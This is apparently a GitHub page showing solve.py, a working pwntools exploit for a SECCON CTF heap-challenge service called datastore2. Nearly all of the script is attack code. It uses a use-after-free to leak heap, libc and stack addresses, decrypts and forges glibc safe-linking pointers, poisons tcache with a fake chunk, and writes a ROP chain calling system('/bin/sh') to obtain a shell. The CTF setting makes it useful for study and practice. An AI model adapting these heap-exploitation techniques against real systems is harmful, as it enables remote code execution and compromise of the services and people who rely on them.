Repository navigation
Expand file tree
/
Copy pathsolve.py
More file actions
410 lines (302 loc) · 7.25 KB
/
Copy pathsolve.py
File metadata and controls
410 lines (302 loc) · 7.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
from __future__ import division, print_function
import random
from pwn import *
import argparse
import time
context.log_level = 'error'
parser = argparse.ArgumentParser()
parser.add_argument(
"--host",
default="127.0.0.1",
help="target host"
)
parser.add_argument(
"--port",
default=3001,
help="target port"
)
parser.add_argument(
'--log',
action='store_true'
)
parser.add_argument(
'--is-gaibu',
action='store_true'
)
args = parser.parse_args()
log = args.log
is_gaibu = args.is_gaibu
if is_gaibu:
host = "datastore2.dom.seccon.games"
port = 7325
else:
host = args.host
port = args.port
def wait_for_attach():
if not is_gaibu:
print('attach?')
raw_input()
def just_u64(x):
return u64(x.ljust(8, b'\x00'))
r = remote(host, port)
def recvuntil(x, verbose=True):
if type(x) == str:
x = x.encode("ascii")
s = r.recvuntil(x)
if log and verbose:
print(s)
return s.strip(x)
def recv(n, verbose=True):
s = r.recv(n)
if log and verbose:
print(s)
return s
def recvline(verbose=True):
s = r.recvline()
if log and verbose:
print(s)
return s.strip(b'\n')
def sendline(s, verbose=True):
if type(s) == str:
s = s.encode("ascii")
if log and verbose:
print(s)
r.sendline(s)
def send(s, verbose=True):
if type(s) == str:
s = s.encode("ascii")
if log and verbose:
print(s, end='')
r.send(s)
def interactive():
r.interactive()
# libc safe linking decrypt
def decrypt(cipher):
key = 0
plain = 0
for i in range(1, 6):
bits = 64 - 12 * i
if bits < 0:
bits = 0
plain = ((cipher ^ key) >> bits) << bits
key = plain >> 12
return plain
def encrypt(val, addr):
return val ^ (addr >> 12)
####################################
def menu(choice):
recvuntil(b':')
sendline(str(choice))
# receive and send
def rs(s, new_line=True, r=b'> '):
recvuntil(r)
# s = str(s)
if new_line:
sendline(s)
else:
send(s)
# send `s` after r
def sa(r, s, new_line=True):
rs(s, new_line, r)
"""
MENU
1. Edit
2. List
0. Exit
>
"""
def s_edit():
rs(str(1))
def s_list():
rs(str(2))
def s_update():
rs(str(1))
def s_delete():
rs(str(2))
def idx(i):
recvuntil(b"index: ")
sendline(str(i))
def s_copy():
rs(str(3))
def choose_indices(l):
s_edit()
for j, i in enumerate(l):
if j != 0:
s_update()
idx(i)
def create_array(l, size):
choose_indices(l)
if len(l) > 0:
s_update()
rs("a")
recvuntil(b"input size:")
sendline(str(size))
def create_value(l, data):
choose_indices(l)
if len(l) > 0:
s_update()
rs("v")
recvuntil(b"input value: ")
sendline(data)
def update_string(data):
recvuntil(b"new string")
recvuntil(b": ")
sendline(data)
def copy_value(l, dst):
choose_indices(l)
s_copy()
idx(dst)
def delete_value(l):
choose_indices(l)
s_delete()
victstr_len = 10
s = b""
# top = create_array(8)
create_array([], 8)
# top[0] = create_array(8)
create_array([0], 8)
# top[0][0] = create_array(8)
create_array([0, 0], 8)
# top[0][0][0] = "hoge"
create_value([0, 0, 0], "v" * victstr_len)
for i in range(7):
# top[0][0][i + 1] = top[0][0]
copy_value([0, 0, 0], i + 1)
for i in range(7):
# top[0][i] = top[1]
copy_value([0, 0], i + 1)
# top[i] = top[0]
for i in range(4):
copy_value([0], i + 1)
# remove manually recursivelly so that we don't
create_array([7], 8)
create_array([6], 8)
for i in range(8):
create_value([7, i], chr(0x61+i) * victstr_len)
#
for i in range(4):
delete_value([7, i])
delete_value([4])
def leak():
s_list()
recvuntil(b"[00] <S> ")
l = recvline()
l = just_u64(l)
recvuntil(b"MENU")
return l
l = leak()
heap_base = decrypt(l) - 0x1d10 - 0x90 - 0x2c0
print("heap_base: ", hex(heap_base))
# remove unsortedbin
# create_array([6, 0], 8)
# create_array([6, 1], 8)
create_array([6, 2], 1) # former str_t
print("leak:", hex(heap_base + 0x1d10))
create_value([6, 2, 0], str(heap_base + 0x1d10)) # str_t->buf
libc_base = leak() - 0x219ce0
print("libc_base: ", hex(libc_base))
if is_gaibu:
environ = libc_base + 0x221200
orig_onexit_addr = libc_base + 0x21af18
orig_handler = libc_base + 0x2e4040
init_first = libc_base + 0x21aea0
system = libc_base + 0x50d70
binsh = libc_base + 0x1d8698
pop_rdi = libc_base + 0x2a3e5
ret_addr = pop_rdi + 1
else:
environ = libc_base + 0x221200
orig_onexit_addr = libc_base + 0x21af18
orig_handler = libc_base + 0x2e4040
init_first = libc_base + 0x21aea0
system = libc_base + 0x50d70
# binsh = libc_base + 0x1d8678
binsh = libc_base + 0x1d8698
pop_rdi = libc_base + 0x2a3e5
ret_addr = pop_rdi + 1
delete_value([6, 2, 0])
create_value([6, 2, 0], str(orig_onexit_addr))
orig_onexit_addr_encrypted = leak()
print("orig_onexit_addr_encrypted: ", hex(orig_onexit_addr_encrypted))
delete_value([6, 2, 0])
create_value([6, 2, 0], str(environ))
stack_base = leak()
print("environ: ", hex(stack_base))
# https://ctftime.org/writeup/34804
## leak end ##
# stack pivot buf
payload = [
pop_rdi,
binsh,
ret_addr,
system
]
# payload = p64(0) * 2 + p64(0) + p64(1) + p64(4) + p64(0) \
# + p64(binsh) + p64(0)
payload = p64(0) + b"".join(map(p64, payload))
print(payload)
payload += b"\x00" * (64 - len(payload))
assert (b'\n' not in payload)
assert (b' ' not in payload)
print(len(payload))
print(hex(binsh))
create_value([5], payload)
stack_pivot = heap_base + 0x2348 - 8
# set the str buffer to the fake chunk
fake_chunk = heap_base + 0x2610
# target = init_first
target_saved_rbp = stack_base - 0x148
target = target_saved_rbp - 0x10
print("target: ", hex(target))
# set the str buffer to the fake chunk
delete_value([6, 2, 0])
create_value([6, 2, 0], str(fake_chunk))
# clear tcache
create_array([6, 3], 8)
create_array([6, 3, 0], 8)
create_array([6, 3, 1], 8)
for i in range(8):
create_array([6, 3, 0, i], 1)
create_array([6, 3, 1, 0], 1)
for i in range(7):
copy_value([6, 3, 1, 0], i+1)
# create chunks a b c
create_array([7, 3], 6) # a
create_array([7, 4], 1) # b
create_array([7, 5], 1) # c
a = heap_base + 0x25c0
# create the buffer to be copied later
create_array([7, 6], 6)
encrypted = encrypt(target, heap_base + 0x23b0)
print("encrypted:", hex(encrypted))
create_value([7, 6, 2], str(encrypted))
create_array([7, 7], 1)
# val = 0xdeadbeef
val = stack_pivot
create_value([7, 7, 0], str(val))
# clear tcache again
create_array([6, 3, 2], 8)
create_array([6, 3, 3], 8)
for i in range(8):
create_array([6, 3, 2, i], 1)
create_array([6, 3, 3, 0], 1)
for i in range(7):
copy_value([6, 3, 3, 0], i+1)
delete_value([7, 5])
delete_value([7, 4])
delete_value([7, 3])
# 1. create fake chunk
create_value([7, 3], b"A" * 56 + p64(0x71))
print("fake_chunk:", hex(fake_chunk))
# 2. free the fake chunk
delete_value([1, 0, 0])
# (3. create_array([6, 4], 6) == fake chunk)
# 4' copy the content of fake chunk to fake chunk
copy_value([7, 6], 4)
# 5. create_array([6, 5], 6) (dummy)
copy_value([7, 7], 5)
copy_value([7, 7], 1)
# 6. create_array([6, 6], 6) == stack addr
wait_for_attach()
copy_value([7, 7], 2)
interactive()